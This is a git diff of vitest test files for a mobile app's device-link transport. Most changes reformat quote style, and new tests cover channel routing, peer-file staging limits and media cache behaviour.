+ await maker.input.clearError("s1");
+ await maker.input.updateText("s1", "queued-1", "updated");
+ await maker.input.updateContent("s1", "queued-1", {
+ clientId: "queued-1",
+ } as never);
+ await maker.input.setEditLock("s1", "queued-1", true);
+ await maker.input.setEditLock("s1", "queued-1", false);
+ await maker.fs.readTextFilePreview("/repo/spec.md");
await maker.getModelPricing();
await maker.getCodexRateLimits();
- await maker.resetCodexRateLimits('018f4ec7-c6d8-7f10-8d43-9f8791d33000');
+ await maker.resetCodexRateLimits("018f4ec7-c6d8-7f10-8d43-9f8791d33000");
await maker.getApiKeyPresent();
await maker.setSessionModelPref({
- sessionId: 's1', agent: 'codex', providerId: 'openai', model: 'gpt-5.5', effort: 'high',
+ sessionId: "s1",
+ agent: "codex",
+ providerId: "openai",
+ model: "gpt-5.5",
+ effort: "high",
});
await maker.applyNewMakerDraftPref({
- agent: 'codex', providerId: 'openai', modelId: 'gpt-5.5', active: false, fast: true,
+ agent: "codex",
+ providerId: "openai",
+ modelId: "gpt-5.5",
+ active: false,
+ fast: true,
});
expect(calls.map((call) => [call.channel, call.args])).toEqual([
- ['maker:set-model', ['s1', 'claude-opus-4-7']],
- ['maker:set-model', ['s1', 'gpt-5.5', 'openai']],
- ['maker:switch-session-agent', ['s1', 'codex', 'gpt-5.5', 'openai', 'high', true]],
- ['maker:get-session-agent-switch-intent', ['s1']],
- ['maker:set-effort', ['s1', 'high']],
- ['maker:set-permission-mode', ['s1', 'plan']],
- ['maker:set-fast-mode', ['s1', true]],
- ['maker:set-extra-dirs', ['s1', ['/repo/docs']]],
- ['maker:list-agent-commands', ['claude-code']],
- ['maker:list-agent-commands', ['pi', { sessionId: 's1' }]],
- ['maker:list-agent-skills', ['claude-code', { workingDir: '/repo' }]],
- ['maker:list-agent-skills', ['pi', { workingDir: '/repo', sessionId: 's1' }]],
- ['maker:list-agent-skills', ['codex', {}]],
- ['maker:scan-at-resources', ['claude-code', { workingDir: '/repo', cap: 2000, query: 'session' }]],
- ['device-link:media:fetch', [{ url: 'xdt-image://local/a.png' }]],
- ['device-link:voice:transcribe', [{ ossKey: 'voice-key', mimeType: 'audio/mp4', fileName: 'voice.m4a' }]],
- ['device-link:voice:dictionary-learning', [{
- source: 'mobile',
- rawTranscriptText: 'xd maker',
- beforeText: 'XDMaker',
- afterText: 'XDMaker',
- }]],
- ['device-link:voice:dictionary:get', []],
- ['maker:input:stop', ['s1', { pauseQueue: true }]],
- ['maker:input:compact', ['s1']],
- ['maker:compact-session', ['s1']],
- ['maker:compact-session', ['s1', '']],
- ['maker:compact-session', ['s1', 'focus on API design']],
- ['maker:input:retry-last-error', ['s1']],
- ['maker:input:clear-error', ['s1']],
- ['maker:input:update-text', ['s1', 'queued-1', 'updated']],
- ['maker:input:update-content', ['s1', 'queued-1', { clientId: 'queued-1' }]],
- ['maker:input:set-edit-lock', ['s1', 'queued-1', true]],
- ['maker:input:set-edit-lock', ['s1', 'queued-1', false]],
- ['text-file:read-preview', [{ filePath: '/repo/spec.md' }]],
- ['maker:usage:model-pricing', []],
- ['maker:usage:codex-rate-limits', []],
- ['maker:usage:codex-rate-limit-reset', ['018f4ec7-c6d8-7f10-8d43-9f8791d33000']],
- ['maker:api-key:present', []],
- ['maker:set-session-model-pref', [{
- sessionId: 's1', agent: 'codex', providerId: 'openai', model: 'gpt-5.5', effort: 'high',
- }]],
- ['maker:apply-new-maker-draft-pref', [{
- agent: 'codex', providerId: 'openai', modelId: 'gpt-5.5', active: false, fast: true,
- }]],
+ ["maker:set-model", ["s1", "claude-opus-4-7"]],
+ ["maker:set-model", ["s1", "gpt-5.5", "openai"]],
+ [
+ "maker:switch-session-agent",
+ ["s1", "codex", "gpt-5.5", "openai", "high", true],
+ ],
+ ["maker:get-session-agent-switch-intent", ["s1"]],
+ ["maker:set-effort", ["s1", "high"]],
+ ["maker:set-permission-mode", ["s1", "plan"]],
+ ["maker:set-fast-mode", ["s1", true]],
+ ["maker:set-extra-dirs", ["s1", ["/repo/docs"]]],
+ ["maker:list-agent-commands", ["claude-code"]],
+ ["maker:list-agent-commands", ["pi", { sessionId: "s1" }]],
+ ["maker:list-agent-skills", ["claude-code", { workingDir: "/repo" }]],
+ [
+ "maker:list-agent-skills",
+ ["pi", { workingDir: "/repo", sessionId: "s1" }],
+ ],
+ ["maker:list-agent-skills", ["codex", {}]],
+ [
+ "maker:scan-at-resources",
+ ["claude-code", { workingDir: "/repo", cap: 2000, query: "session" }],
+ ],
+ [
+ "device-link:media:fetch",
+ [{ url: "xdt-image://local/a.png", prepareOnly: true }],
+ ],
+ [
+ "device-link:voice:transcribe",
+ [{ ossKey: "voice-key", mimeType: "audio/mp4", fileName: "voice.m4a" }],
+ ],
+ [
+ "device-link:voice:dictionary-learning",
+ [
+ {
+ source: "mobile",
+ rawTranscriptText: "xd maker",
+ beforeText: "XDMaker",
+ afterText: "XDMaker",
+ },
+ ],
+ ],
+ ["device-link:voice:dictionary:get", []],
+ ["maker:input:stop", ["s1", { pauseQueue: true }]],
+ ["maker:input:compact", ["s1"]],
+ ["maker:compact-session", ["s1"]],
+ ["maker:compact-session", ["s1", ""]],
+ ["maker:compact-session", ["s1", "focus on API design"]],
+ ["maker:input:retry-last-error", ["s1"]],
+ ["maker:input:clear-error", ["s1"]],
+ ["maker:input:update-text", ["s1", "queued-1", "updated"]],
+ [
+ "maker:input:update-content",
+ ["s1", "queued-1", { clientId: "queued-1" }],
+ ],
+ ["maker:input:set-edit-lock", ["s1", "queued-1", true]],
+ ["maker:input:set-edit-lock", ["s1", "queued-1", false]],
+ ["text-file:read-preview", [{ filePath: "/repo/spec.md" }]],
+ ["maker:usage:model-pricing", []],
+ ["maker:usage:codex-rate-limits", []],
+ [
+ "maker:usage:codex-rate-limit-reset",
+ ["018f4ec7-c6d8-7f10-8d43-9f8791d33000"],
+ ],
+ ["maker:api-key:present", []],
+ [
+ "maker:set-session-model-pref",
+ [
+ {
+ sessionId: "s1",
+ agent: "codex",
+ providerId: "openai",
+ model: "gpt-5.5",
+ effort: "high",
+ },
+ ],
+ ],
+ [
+ "maker:apply-new-maker-draft-pref",
+ [
+ {
+ agent: "codex",
+ providerId: "openai",
+ modelId: "gpt-5.5",
+ active: false,
+ fast: true,
+ },
+ ],
+ ],
]);
});
- it('routes worktree probes and new-maker worktree defaults with device-link argument shapes', async () => {
+ it("routes worktree probes and new-maker worktree defaults with device-link argument shapes", async () => {
const { calls, maker } = harness();
- await maker.getNewMakerDefaults('claude-code');
+ await maker.getNewMakerDefaults("claude-code");
await maker.applyNewMakerWorktreePref(true);
- await maker.getNewMakerWorktreeBranchPref('/repo');
- await maker.applyNewMakerWorktreeBranchPref('/repo', 'feature/mobile-sync');
- await maker.worktree.detectCwd('/repo/app');
- await maker.worktree.listBranches('/repo');
- await maker.worktree.suggestName('/repo');
+ await maker.getNewMakerWorktreeBranchPref("/repo");
+ await maker.applyNewMakerWorktreeBranchPref("/repo", "feature/mobile-sync");
+ await maker.worktree.detectCwd("/repo/app");
+ await maker.worktree.listBranches("/repo");
+ await maker.worktree.suggestName("/repo");
await maker.worktree.create({
- sessionId: 'preset-session-1',
- baseRepo: '/repo',
- name: 'auto-abc123',
- sourceBranch: 'main',
- recoveryKey: 'recovery-key-1234567890',
+ sessionId: "preset-session-1",
+ baseRepo: "/repo",
+ name: "auto-abc123",
+ sourceBranch: "main",
+ recoveryKey: "recovery-key-1234567890",
});
await maker.worktree.discardPrecreated({
- sessionId: 'preset-session-1',
- path: '/repo/.cindy-worktrees/auto-abc123',
+ sessionId: "preset-session-1",
+ path: "/repo/.cindy-worktrees/auto-abc123",
});
await maker.worktree.discardPrecreated({
- sessionId: 'preset-session-2',
- recoveryKey: 'recovery-key-0987654321',
+ sessionId: "preset-session-2",
+ recoveryKey: "recovery-key-0987654321",
});
expect(calls.map((call) => [call.channel, call.args])).toEqual([
- ['maker:get-new-maker-defaults', ['claude-code']],
- ['maker:apply-new-maker-worktree-pref', [{ worktreeEnabled: true }]],
- ['maker:get-new-maker-worktree-branch-pref', [{ baseRepo: '/repo' }]],
- ['maker:apply-new-maker-worktree-branch-pref', [{
- baseRepo: '/repo',
- sourceBranch: 'feature/mobile-sync',
- }]],
- ['worktree:detect-cwd', [{ cwd: '/repo/app' }]],
- ['worktree:list-branches', [{ baseRepo: '/repo' }]],
- ['worktree:suggest-name', [{ baseRepo: '/repo' }]],
- ['worktree:create', [{
- sessionId: 'preset-session-1',
- baseRepo: '/repo',
- name: 'auto-abc123',
- sourceBranch: 'main',
- recoveryKey: 'recovery-key-1234567890',
- }]],
- ['worktree:discard-precreated', [{
- sessionId: 'preset-session-1',
- path: '/repo/.cindy-worktrees/auto-abc123',
- }]],
- ['worktree:discard-precreated', [{
- sessionId: 'preset-session-2',
- recoveryKey: 'recovery-key-0987654321',
- }]],
+ ["maker:get-new-maker-defaults", ["claude-code"]],
+ ["maker:apply-new-maker-worktree-pref", [{ worktreeEnabled: true }]],
+ ["maker:get-new-maker-worktree-branch-pref", [{ baseRepo: "/repo" }]],
+ [
+ "maker:apply-new-maker-worktree-branch-pref",
+ [
+ {
+ baseRepo: "/repo",
+ sourceBranch: "feature/mobile-sync",
+ },
+ ],
+ ],
+ ["worktree:detect-cwd", [{ cwd: "/repo/app" }]],
+ ["worktree:list-branches", [{ baseRepo: "/repo" }]],
+ ["worktree:suggest-name", [{ baseRepo: "/repo" }]],
+ [
+ "worktree:create",
+ [
+ {
+ sessionId: "preset-session-1",
+ baseRepo: "/repo",
+ name: "auto-abc123",
+ sourceBranch: "main",
+ recoveryKey: "recovery-key-1234567890",
+ },
+ ],
+ ],
+ [
+ "worktree:discard-precreated",
+ [
+ {
+ sessionId: "preset-session-1",
+ path: "/repo/.cindy-worktrees/auto-abc123",
+ },
+ ],
+ ],
+ [
+ "worktree:discard-precreated",
+ [
+ {
+ sessionId: "preset-session-2",
+ recoveryKey: "recovery-key-0987654321",
+ },
+ ],
+ ],
]);
});
- it('routes fork, native tree, rewind and delete actions through maker namespace', async () => {
+ it("routes fork, native tree, rewind and delete actions through maker namespace", async () => {
const { calls, maker } = harness();
- await maker.fork('s1', 'm2');
- await maker.getSessionTree('s1');
- await maker.navigateSessionTree('s1', 'entry-2', {
+ await maker.fork("s1", "m2");
+ await maker.getSessionTree("s1");
+ await maker.navigateSessionTree("s1", "entry-2", {
summarize: true,
- customInstructions: 'Keep the decision context',
+ customInstructions: "Keep the decision context",
});
- await maker.rewindPreview('s1', 'm2');
- await maker.rewindCommit('s1', 'm2');
- await maker.deleteMessage('s1', 'm2');
+ await maker.rewindPreview("s1", "m2");
+ await maker.rewindCommit("s1", "m2");
+ await maker.deleteMessage("s1", "m2");
expect(calls.map((call) => [call.channel, call.args])).toEqual([
- ['maker:fork', ['s1', 'm2']],
- ['maker:get-session-tree', ['s1']],
- ['maker:navigate-session-tree', ['s1', 'entry-2', {
- summarize: true,
- customInstructions: 'Keep the decision context',
- }]],
- ['maker:rewind:preview', ['s1', 'm2']],
- ['maker:rewind:commit', ['s1', 'm2']],
- ['maker:message:delete', ['s1', 'm2']],
+ ["maker:fork", ["s1", "m2"]],
+ ["maker:get-session-tree", ["s1"]],
+ [
+ "maker:navigate-session-tree",
+ [
+ "s1",
+ "entry-2",
+ {
+ summarize: true,
+ customInstructions: "Keep the decision context",
+ },
+ ],
+ ],
+ ["maker:rewind:preview", ["s1", "m2"]],
+ ["maker:rewind:commit", ["s1", "m2"]],
+ ["maker:message:delete", ["s1", "m2"]],
]);
});
- it('passes trusted reference coordinates after update-text in desktop argument order', async () => {
+ it("passes trusted reference coordinates after update-text in desktop argument order", async () => {
const { calls, maker } = harness();
- const refs = [{ sessionId: 'source', messageClientId: 'anchor', deviceId: 'dev-source' }];
- const contexts = [{
- sessionId: 'source',
- messageClientId: 'anchor',
- source: 'device-link' as const,
- deviceId: 'dev-source',
- messages: [{ role: 'user' as const, content: 'trusted' }],
- range: 'around-anchor' as const,
- messageCount: 1,
- truncated: false,
- }];
-
- await maker.input.updateText('target', 'queued-1', 'edited', refs, contexts);
-
- expect(calls).toEqual([{
- deviceId: 'dev-1',
- channel: 'maker:input:update-text',
- args: ['target', 'queued-1', 'edited', refs, contexts],
- }]);
+ const refs = [
+ {
+ sessionId: "source",
+ messageClientId: "anchor",
+ deviceId: "dev-source",
+ },
+ ];
+ const contexts = [
+ {
+ sessionId: "source",
+ messageClientId: "anchor",
+ source: "device-link" as const,
+ deviceId: "dev-source",
+ messages: [{ role: "user" as const, content: "trusted" }],
+ range: "around-anchor" as const,
+ messageCount: 1,
+ truncated: false,
+ },
+ ];
+
+ await maker.input.updateText(
+ "target",
+ "queued-1",
+ "edited",
+ refs,
+ contexts,
+ );
+
+ expect(calls).toEqual([
+ {
+ deviceId: "dev-1",
+ channel: "maker:input:update-text",
+ args: ["target", "queued-1", "edited", refs, contexts],
+ },
+ ]);
});
- it('routes the session read receipt with desktop preload argument order', async () => {
+ it("routes the session read receipt with desktop preload argument order", async () => {
const { calls, maker } = harness();
- await maker.clearSessionAttention('s1', 'explicit');
+ await maker.clearSessionAttention("s1", "explicit");
expect(calls.map((call) => [call.channel, call.args])).toEqual([
- ['notification:clear-session-attention', ['s1', 'explicit']],
+ ["notification:clear-session-attention", ["s1", "explicit"]],
]);
});
- it('routes scheduler actions with desktop preload argument order', async () => {
+ it("routes scheduler actions with desktop preload argument order", async () => {
const { calls, maker } = harness();
await maker.schedule.list();
- await maker.schedule.list({ status: 'paused' });
- await maker.schedule.get('sched-1');
+ await maker.schedule.list({ status: "paused" });
+ await maker.schedule.get("sched-1");
await maker.schedule.listTemplates();
await maker.schedule.createFromTemplate({
- templateId: 'standup-summary',
- paramValues: { project: 'XDMaker' },
- overrides: { workingDir: '/repo' },
+ templateId: "standup-summary",
+ paramValues: { project: "XDMaker" },
+ overrides: { workingDir: "/repo" },
});
await maker.schedule.create({
- name: 'Created',
- prompt: 'run',
- kind: 'cron',
- cronExpr: '*/10 * * * *',
- timezone: 'Asia/Shanghai',
+ name: "Created",
+ prompt: "run",
+ kind: "cron",
+ cronExpr: "*/10 * * * *",
+ timezone: "Asia/Shanghai",
recurring: true,
intervalMs: 600_000,
- agentKind: 'claude-code',
- workspaceKind: 'project',
- workingDir: '/repo',
+ agentKind: "claude-code",
+ workspaceKind: "project",
+ workingDir: "/repo",
useWorktree: false,
notify: { desktop: true, feishu: false },
});
- await maker.schedule.update('sched-1', { name: 'Updated' });
- await maker.schedule.listRuns('sched-1', 50);
- await maker.schedule.runNow('sched-1');
- await maker.schedule.pause('sched-1');
- await maker.schedule.resume('sched-1');
- await maker.schedule.delete('sched-1');
- await maker.schedule.getInflightCount('sched-1');
- await maker.schedule.markRunRead('run-1');
- await maker.schedule.markScheduleRunsRead('sched-1');
- await maker.schedule.deleteRun('run-1');
- await maker.projectAutomation.removeSchedule({ workingDir: '/repo', id: 'daily' });
+ await maker.schedule.update("sched-1", { name: "Updated" });
+ await maker.schedule.listRuns("sched-1", 50);
+ await maker.schedule.runNow("sched-1");
+ await maker.schedule.pause("sched-1");
+ await maker.schedule.resume("sched-1");
+ await maker.schedule.delete("sched-1");
+ await maker.schedule.getInflightCount("sched-1");
+ await maker.schedule.markRunRead("run-1");
+ await maker.schedule.markScheduleRunsRead("sched-1");
+ await maker.schedule.deleteRun("run-1");
+ await maker.projectAutomation.removeSchedule({
+ workingDir: "/repo",
+ id: "daily",
+ });
expect(calls.map((call) => [call.channel, call.args])).toEqual([
- ['maker:schedule:list', []],
- ['maker:schedule:list', [{ status: 'paused' }]],
- ['maker:schedule:get', ['sched-1']],
- ['maker:schedule:list-templates', []],
- ['maker:schedule:create-from-template', [{
- templateId: 'standup-summary',
- paramValues: { project: 'XDMaker' },
- overrides: { workingDir: '/repo' },
- }]],
- ['maker:schedule:create', [{
- name: 'Created',
- prompt: 'run',
- kind: 'cron',
- cronExpr: '*/10 * * * *',
- timezone: 'Asia/Shanghai',
- recurring: true,
- intervalMs: 600_000,
- agentKind: 'claude-code',
- workspaceKind: 'project',
- workingDir: '/repo',
- useWorktree: false,
- notify: { desktop: true, feishu: false },
- }]],
- ['maker:schedule:update', ['sched-1', { name: 'Updated' }]],
- ['maker:schedule:list-runs', ['sched-1', 50]],
- ['maker:schedule:run-now', ['sched-1']],
- ['maker:schedule:pause', ['sched-1']],
- ['maker:schedule:resume', ['sched-1']],
- ['maker:schedule:delete', ['sched-1']],
- ['maker:schedule:get-inflight-count', ['sched-1']],
- ['maker:schedule:mark-run-read', ['run-1']],
- ['maker:schedule:mark-schedule-runs-read', ['sched-1']],
- ['maker:schedule:delete-run', ['run-1']],
- ['maker:project-automation:remove-schedule', [{ workingDir: '/repo', id: 'daily' }]],
+ ["maker:schedule:list", []],
+ ["maker:schedule:list", [{ status: "paused" }]],
+ ["maker:schedule:get", ["sched-1"]],
+ ["maker:schedule:list-templates", []],
+ [
+ "maker:schedule:create-from-template",
+ [
+ {
+ templateId: "standup-summary",
+ paramValues: { project: "XDMaker" },
+ overrides: { workingDir: "/repo" },
+ },
+ ],
+ ],
+ [
+ "maker:schedule:create",
+ [
+ {
+ name: "Created",
+ prompt: "run",
+ kind: "cron",
+ cronExpr: "*/10 * * * *",
+ timezone: "Asia/Shanghai",
+ recurring: true,
+ intervalMs: 600_000,
+ agentKind: "claude-code",
+ workspaceKind: "project",
+ workingDir: "/repo",
+ useWorktree: false,
+ notify: { desktop: true, feishu: false },
+ },
+ ],
+ ],
+ ["maker:schedule:update", ["sched-1", { name: "Updated" }]],
+ ["maker:schedule:list-runs", ["sched-1", 50]],
+ ["maker:schedule:run-now", ["sched-1"]],
+ ["maker:schedule:pause", ["sched-1"]],
+ ["maker:schedule:resume", ["sched-1"]],
+ ["maker:schedule:delete", ["sched-1"]],
+ ["maker:schedule:get-inflight-count", ["sched-1"]],
+ ["maker:schedule:mark-run-read", ["run-1"]],
+ ["maker:schedule:mark-schedule-runs-read", ["sched-1"]],
+ ["maker:schedule:delete-run", ["run-1"]],
+ [
+ "maker:project-automation:remove-schedule",
+ [{ workingDir: "/repo", id: "daily" }],
+ ],
]);
});
- it('routes remote filesystem browse calls with device-link fs handler argument shape', async () => {
+ it("routes remote filesystem browse calls with device-link fs handler argument shape", async () => {
const { calls, maker } = harness();
- await maker.fs.listDir('~');
- await maker.fs.statPath('/repo/app');
- await maker.fs.mkdirP('/repo/new-app');
+ await maker.fs.listDir("~");
+ await maker.fs.statPath("/repo/app");
+ await maker.fs.mkdirP("/repo/new-app");
expect(calls.map((call) => [call.channel, call.args])).toEqual([
- ['fs:list-dir', [{ path: '~' }]],
- ['fs:stat-path', [{ path: '/repo/app' }]],
- ['fs:mkdir-p', [{ path: '/repo/new-app' }]],
+ ["fs:list-dir", [{ path: "~" }]],
+ ["fs:stat-path", [{ path: "/repo/app" }]],
+ ["fs:mkdir-p", [{ path: "/repo/new-app" }]],
]);
});
- it('routes full file-browser ops through the aggregate remote-op channel', async () => {
+ it("routes full file-browser ops through the aggregate remote-op channel", async () => {
const { calls, maker } = harness();
- const wd = '/repo/project';
+ const wd = "/repo/project";
await maker.fileBrowser.caps(wd);
- await maker.fileBrowser.listDir(wd, 'apps/mobile');
- await maker.fileBrowser.readFile(wd, 'AGENTS.md', { acceptGzip: true });
- await maker.fileBrowser.readFile(wd, 'AGENTS.md');
+ await maker.fileBrowser.listDir(wd, "apps/mobile");
+ await maker.fileBrowser.listDir(wd, "dist", {
+ includeIgnored: true,
+ maxEntries: 2000,
+ });
+ await maker.fileBrowser.readFile(wd, "AGENTS.md", { acceptGzip: true });
+ await maker.fileBrowser.readFile(wd, "AGENTS.md");
await maker.fileBrowser.listAllFiles(wd, 20000);
- await maker.fileBrowser.searchCollect(wd, 'UsageTracker', { maxMatches: 200 });
- await maker.fileBrowser.thumbnail(wd, 'logo.png');
- await maker.fileBrowser.exportFileStart(wd, 'big.bin');
- await maker.fileBrowser.exportFileStatus(wd, 'exp_1');
+ await maker.fileBrowser.searchCollect(wd, "UsageTracker", {
+ maxMatches: 200,
+ });
+ await maker.fileBrowser.thumbnail(wd, "logo.png");
+ await maker.fileBrowser.exportFileStart(wd, "big.bin");
+ await maker.fileBrowser.exportFileStatus(wd, "exp_1");
- expect(calls.map((call) => call.channel)).toEqual(Array(9).fill('file-browser:remote-op'));
+ expect(calls.map((call) => call.channel)).toEqual(
+ Array(10).fill("file-browser:remote-op"),
+ );
expect(calls.map((call) => call.args)).toEqual([
- [{ op: 'caps', workdir: wd }],
- [{ op: 'listDir', workdir: wd, relPath: 'apps/mobile' }],
- [{ op: 'readFile', workdir: wd, relPath: 'AGENTS.md', acceptGzip: true }],
- [{ op: 'readFile', workdir: wd, relPath: 'AGENTS.md' }],
- [{ op: 'listAllFiles', workdir: wd, cap: 20000 }],
- [{ op: 'searchCollect', workdir: wd, query: 'UsageTracker', maxMatches: 200 }],
- [{ op: 'thumbnail', workdir: wd, relPath: 'logo.png' }],
- [{ op: 'exportFileStart', workdir: wd, relPath: 'big.bin' }],
- [{ op: 'exportFileStatus', workdir: wd, transferId: 'exp_1' }],
+ [{ op: "caps", workdir: wd }],
+ [{ op: "listDir", workdir: wd, relPath: "apps/mobile" }],
+ [
+ {
+ op: "listDir",
+ workdir: wd,
+ relPath: "dist",
+ includeIgnored: true,
+ maxEntries: 2000,
+ },
+ ],
+ [{ op: "readFile", workdir: wd, relPath: "AGENTS.md", acceptGzip: true }],
+ [{ op: "readFile", workdir: wd, relPath: "AGENTS.md" }],
+ [{ op: "listAllFiles", workdir: wd, cap: 20000 }],
+ [
+ {
+ op: "searchCollect",
+ workdir: wd,
+ query: "UsageTracker",
+ maxMatches: 200,
+ },
+ ],
+ [{ op: "thumbnail", workdir: wd, relPath: "logo.png" }],
+ [{ op: "exportFileStart", workdir: wd, relPath: "big.bin" }],
+ [{ op: "exportFileStatus", workdir: wd, transferId: "exp_1" }],
]);
});
- it('fails before invoking when the target device id is missing', async () => {
+ it("fails before invoking when the target device id is missing", async () => {
const invokeMock = vi.fn();
const invoke: RemoteInvoke = (deviceId, channel, args) =>
invokeMock(deviceId, channel, args) as Promise<never>;
- const maker = createMobileMakerTransport({ deviceId: '', invoke });
+ const maker = createMobileMakerTransport({ deviceId: "", invoke });
- await expect(maker.listMessages('s1')).rejects.toThrow('remote device id is required');
+ await expect(maker.listMessages("s1")).rejects.toThrow(
+ "remote device id is required",
+ );
expect(invokeMock).not.toHaveBeenCalled();
});
});
diff --git a/apps/mobile/src/__tests__/peerFileRegistry.test.ts b/apps/mobile/src/__tests__/peerFileRegistry.test.ts
new file mode 100644
index 0000000000..d0a778c261
--- /dev/null
+++ b/apps/mobile/src/__tests__/peerFileRegistry.test.ts
@@ -0,0 +1,79 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import {
+ clearPeerMedia,
+ canStagePeerMedia,
+ installPeerFileDownload,
+ peerMediaUri,
+ recordPeerMedia,
+ releasePeerMedia,
+ tryMobilePeerFile,
+} from "../device-link/peerFileRegistry";
+afterEach(() => {
+ clearPeerMedia();
+ vi.useRealTimers();
+});
+describe("peer file staging ownership", () => {
+ it("cannot be forged by fields in a remote JSON response", () => {
+ expect(
+ peerMediaUri({
+ uri: "file:///private/secret",
+ localUri: "file:///private/secret",
+ }),
+ ).toBeUndefined();
+ const result = { ossKey: "", size: 1, mimeType: "image/png" };
+ expect(recordPeerMedia(result, "file:///cache/owned", vi.fn())).toBe(true);
+ expect(peerMediaUri(result)).toBe("file:///cache/owned");
+ expect(peerMediaUri({ ...result })).toBeUndefined();
+ });
+ it("releases consumed snapshots once and expires abandoned staging files", () => {
+ vi.useFakeTimers();
+ const dispose = vi.fn(),
+ abandon = vi.fn();
+ recordPeerMedia(
+ { ossKey: "", size: 10, mimeType: "text/html" },
+ "file:///one",
+ dispose,
+ );
+ recordPeerMedia(
+ { ossKey: "", size: 10, mimeType: "text/html" },
+ "file:///two",
+ abandon,
+ );
+ releasePeerMedia("file:///one");
+ releasePeerMedia("file:///one");
+ vi.advanceTimersByTime(300000);
+ expect(dispose).toHaveBeenCalledTimes(1);
+ expect(abandon).toHaveBeenCalledTimes(1);
+ });
+ it("bounds aggregate staging storage and keeps replacement providers registered", async () => {
+ expect(
+ recordPeerMedia(
+ { ossKey: "", size: 2 * 1024 * 1024 * 1024, mimeType: "text/plain" },
+ "file:///full",
+ vi.fn(),
+ ),
+ ).toBe(true);
+ expect(recordPeerMedia({ ossKey: "", size: 2 * 1024 * 1024 * 1024, mimeType: "text/plain" }, "file:///full-two", vi.fn())).toBe(true);
+ expect(
+ recordPeerMedia(
+ { ossKey: "", size: 1, mimeType: "text/plain" },
+ "file:///extra",
+ vi.fn(),
+ ),
+ ).toBe(false);
+ const old = installPeerFileDownload(async () => null);
+ const result = { ossKey: "", size: 0, mimeType: "text/plain" };
+ const remove = installPeerFileDownload(async () => result);
+ old();
+ expect(await tryMobilePeerFile("device", "url")).toBe(result);
+ remove();
+ expect(await tryMobilePeerFile("device", "url")).toBeNull();
+ });
+});
+
+it("reserves space for a 2 GiB consumer copy before transfer, and rejects invalid sizes", () => {
+ const size = 2 * 1024 * 1024 * 1024;
+ expect(canStagePeerMedia(size, 2 * size + 256 * 1024 * 1024)).toBe(true);
+ expect(canStagePeerMedia(size, 2 * size)).toBe(false);
+ for (const invalid of [-1, NaN, Infinity, size + 1]) expect(canStagePeerMedia(invalid)).toBe(false);
+});
diff --git a/apps/mobile/src/__tests__/remoteAbsFileFetch.test.ts b/apps/mobile/src/__tests__/remoteAbsFileFetch.test.ts
index c7372252e2..e97a8b570b 100644
--- a/apps/mobile/src/__tests__/remoteAbsFileFetch.test.ts
+++ b/apps/mobile/src/__tests__/remoteAbsFileFetch.test.ts
@@ -38,6 +38,18 @@ function makeDeps(overrides: Partial<{
}
describe('fetchRemoteAbsFileToUrl', () => {
+ it('separates streaming and complete-file cache entries in either order', async () => {
+ for (const first of [true, false]) {
+ const { deps, fetchRemoteMedia } = makeDeps();
+ await fetchRemoteAbsFileToUrl({ ...deps, stream: first }, '/media.mp4');
+ await fetchRemoteAbsFileToUrl({ ...deps, stream: !first }, '/media.mp4');
+ await fetchRemoteAbsFileToUrl({ ...deps, stream: first }, '/media.mp4');
+ expect(fetchRemoteMedia).toHaveBeenCalledTimes(2);
+ expect(fetchRemoteMedia.mock.calls.map((call) => (call as unknown[])[1])).toEqual(
+ first ? [undefined, { stream: false }] : [{ stream: false }, undefined],
+ );
+ }
+ });
it('走 media:fetch 绝对路径通道并 presign 出下载地址', async () => {
const { deps, fetchRemoteMedia, presignGet } = makeDeps();
const url = await fetchRemoteAbsFileToUrl(deps, '/tmp/shot.png');
diff --git a/apps/mobile/src/__tests__/remoteMedia.test.ts b/apps/mobile/src/__tests__/remoteMedia.test.ts
index 771bf18ad2..54e917c50a 100644
--- a/apps/mobile/src/__tests__/remoteMedia.test.ts
+++ b/apps/mobile/src/__tests__/remoteMedia.test.ts
@@ -1,4 +1,4 @@
-import { describe, expect, it, vi } from 'vitest';
+import { describe, expect, it, vi } from "vitest";
import {
canPreviewResolvedRemoteMedia,
formatRemoteMediaSize,
@@ -7,230 +7,309 @@ import {
localCopyResolvedMedia,
REMOTE_MEDIA_NEVER_EXPIRES,
resolveMobileRemoteMedia,
-} from '@/session/remoteMedia';
-
-describe('mobile remote media', () => {
- it('recognizes desktop-local media schemes only', () => {
- expect(isDesktopLocalMediaUrl('xdt-image://cache/a.png')).toBe(true);
- expect(isDesktopLocalMediaUrl('xdt-video://cache/a.mp4')).toBe(true);
- expect(isDesktopLocalMediaUrl('xdt-audio://cache/a.mp3')).toBe(true);
- expect(isDesktopLocalMediaUrl('xdt-file://m?path=/tmp/a.pdf')).toBe(true);
- expect(isDesktopLocalMediaUrl('https://example.com/a.png')).toBe(false);
- expect(isDesktopLocalMediaUrl('xdt-model://asset.glb')).toBe(false);
+} from "@/session/remoteMedia";
+
+describe("mobile remote media", () => {
+ it("recognizes desktop-local media schemes only", () => {
+ expect(isDesktopLocalMediaUrl("xdt-image://cache/a.png")).toBe(true);
+ expect(isDesktopLocalMediaUrl("xdt-video://cache/a.mp4")).toBe(true);
+ expect(isDesktopLocalMediaUrl("xdt-audio://cache/a.mp3")).toBe(true);
+ expect(isDesktopLocalMediaUrl("xdt-file://m?path=/tmp/a.pdf")).toBe(true);
+ expect(isDesktopLocalMediaUrl("https://example.com/a.png")).toBe(false);
+ expect(isDesktopLocalMediaUrl("xdt-model://asset.glb")).toBe(false);
});
- it('resolves desktop media through device-link fetch plus server presign-get', async () => {
+ it("resolves desktop media through device-link fetch plus server presign-get", async () => {
const fetchRemoteMedia = vi.fn(async () => ({
- ossKey: 'cindy/device-link/user-1/a.png',
- mimeType: 'image/png',
+ ossKey: "cindy/device-link/user-1/a.png",
+ mimeType: "image/png",
size: 2048,
}));
const presignGet = vi.fn(async () => ({
- getUrl: 'https://oss.example/a.png?signature=1',
- expiresAt: '2026-06-16T10:05:00.000Z',
+ getUrl: "https://oss.example/a.png?signature=1",
+ expiresAt: "2026-06-16T10:05:00.000Z",
}));
- await expect(resolveMobileRemoteMedia({
- kind: 'image',
- url: 'xdt-image://cache/a.png',
- }, { fetchRemoteMedia, presignGet })).resolves.toEqual({
- url: 'https://oss.example/a.png?signature=1',
- ossKey: 'cindy/device-link/user-1/a.png',
- mimeType: 'image/png',
+ await expect(
+ resolveMobileRemoteMedia(
+ {
+ kind: "image",
+ url: "xdt-image://cache/a.png",
+ },
+ { fetchRemoteMedia, presignGet },
+ ),
+ ).resolves.toEqual({
+ url: "https://oss.example/a.png?signature=1",
+ ossKey: "cindy/device-link/user-1/a.png",
+ mimeType: "image/png",
size: 2048,
- expiresAt: '2026-06-16T10:05:00.000Z',
